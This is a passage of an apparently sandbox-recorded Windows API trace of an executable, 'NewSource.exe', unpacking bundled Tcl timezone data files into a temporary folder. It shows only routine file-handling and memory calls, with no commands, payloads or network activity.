lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.525] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.525] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.526] CloseHandle (hObject=0x10c) returned 1 [0038.526] GetLastError () returned 0x0 [0038.526] SetLastError (dwErrCode=0x0) [0038.526] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atikokan") returned 73 [0038.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atikokan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\atikokan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.526] GetLastError () returned 0x2 [0038.526] SetLastError (dwErrCode=0x2) [0038.526] GetLastError () returned 0x2 [0038.526] SetLastError (dwErrCode=0x2) [0038.526] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atikokan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atikokan", lpFilePart=0x0) returned 0x48 [0038.526] GetLastError () returned 0x2 [0038.526] SetLastError (dwErrCode=0x2) [0038.526] GetLastError () returned 0x2 [0038.526] SetLastError (dwErrCode=0x2) [0038.526] GetLastError () returned 0x2 [0038.526] SetLastError (dwErrCode=0x2) [0038.526] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atikokan") returned 73 [0038.526] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atikokan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\atikokan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.526] GetFileType (hFile=0x10c) returned 0x1 [0038.527] htonl (hostlong=0x4c010000) returned 0x14c [0038.527] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.527] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x14c, lpOverlapped=0x0) returned 1 [0038.528] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.528] CloseHandle (hObject=0x10c) returned 1 [0038.528] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.528] htonl (hostlong=0x30000000) returned 0x30 [0038.528] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.528] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.528] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.528] GetFileType (hFile=0x10c) returned 0x1 [0038.529] htonl (hostlong=0xaaa05800) returned 0x58a0aa [0038.529] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d50aa, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.529] htonl (hostlong=0x86000000) returned 0x86 [0038.529] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86) returned 0x55cfe0 [0038.529] htonl (hostlong=0x86000000) returned 0x86 [0038.529] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.529] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.529] htonl (hostlong=0xac000000) returned 0xac [0038.529] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xac) returned 0x550600 [0038.529] htonl (hostlong=0x86000000) returned 0x86 [0038.529] htonl (hostlong=0xac000000) returned 0xac [0038.529] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.529] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.529] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.529] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.529] CloseHandle (hObject=0x10c) returned 1 [0038.529] GetLastError () returned 0x0 [0038.529] SetLastError (dwErrCode=0x0) [0038.529] GetLastError () returned 0x0 [0038.529] SetLastError (dwErrCode=0x0) [0038.529] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.529] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.529] GetFileType (hFile=0x10c) returned 0x1 [0038.529] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.529] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.529] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.529] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.530] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.530] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.530] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.530] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.530] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.530] CloseHandle (hObject=0x10c) returned 1 [0038.530] GetLastError () returned 0x0 [0038.530] SetLastError (dwErrCode=0x0) [0038.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.530] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.530] GetFileType (hFile=0x10c) returned 0x1 [0038.530] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.530] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.530] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.530] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.530] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.530] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.530] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.530] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.530] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.530] CloseHandle (hObject=0x10c) returned 1 [0038.530] GetLastError () returned 0x0 [0038.530] SetLastError (dwErrCode=0x0) [0038.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.531] GetFileType (hFile=0x10c) returned 0x1 [0038.531] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.531] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.531] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.531] CloseHandle (hObject=0x10c) returned 1 [0038.531] GetLastError () returned 0x0 [0038.531] SetLastError (dwErrCode=0x0) [0038.531] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atka") returned 69 [0038.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atka" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\atka"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.531] GetLastError () returned 0x2 [0038.531] SetLastError (dwErrCode=0x2) [0038.531] GetLastError () returned 0x2 [0038.531] SetLastError (dwErrCode=0x2) [0038.531] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atka", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atka", lpFilePart=0x0) returned 0x44 [0038.531] GetLastError () returned 0x2 [0038.531] SetLastError (dwErrCode=0x2) [0038.531] GetLastError () returned 0x2 [0038.531] SetLastError (dwErrCode=0x2) [0038.531] GetLastError () returned 0x2 [0038.531] SetLastError (dwErrCode=0x2) [0038.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atka") returned 69 [0038.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Atka" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\atka"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.532] GetFileType (hFile=0x10c) returned 0x1 [0038.532] htonl (hostlong=0xac000000) returned 0xac [0038.532] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.532] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xac, lpOverlapped=0x0) returned 1 [0038.533] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.533] CloseHandle (hObject=0x10c) returned 1 [0038.534] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.534] htonl (hostlong=0x30000000) returned 0x30 [0038.534] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.534] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.534] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.534] GetFileType (hFile=0x10c) returned 0x1 [0038.534] htonl (hostlong=0x30a15800) returned 0x58a130 [0038.534] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d5130, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.535] htonl (hostlong=0xdf010000) returned 0x1df [0038.535] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1df) returned 0x550600 [0038.535] htonl (hostlong=0xdf010000) returned 0x1df [0038.535] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.535] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.535] htonl (hostlong=0xb6070000) returned 0x7b6 [0038.535] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7b6) returned 0x55e278 [0038.535] htonl (hostlong=0xdf010000) returned 0x1df [0038.535] htonl (hostlong=0xb6070000) returned 0x7b6 [0038.535] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.535] CloseHandle (hObject=0x10c) returned 1 [0038.535] GetLastError () returned 0x0 [0038.535] SetLastError (dwErrCode=0x0) [0038.535] GetLastError () returned 0x0 [0038.535] SetLastError (dwErrCode=0x0) [0038.535] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.535] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.535] GetFileType (hFile=0x10c) returned 0x1 [0038.535] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.535] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.535] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.535] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.535] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.535] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.536] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.536] CloseHandle (hObject=0x10c) returned 1 [0038.536] GetLastError () returned 0x0 [0038.536] SetLastError (dwErrCode=0x0) [0038.536] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.536] GetFileType (hFile=0x10c) returned 0x1 [0038.536] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.536] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.536] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.536] CloseHandle (hObject=0x10c) returned 1 [0038.536] GetLastError () returned 0x0 [0038.536] SetLastError (dwErrCode=0x0) [0038.536] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.537] GetFileType (hFile=0x10c) returned 0x1 [0038.537] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.537] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.537] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.537] CloseHandle (hObject=0x10c) returned 1 [0038.537] GetLastError () returned 0x0 [0038.537] SetLastError (dwErrCode=0x0) [0038.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia") returned 70 [0038.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Bahia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\bahia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 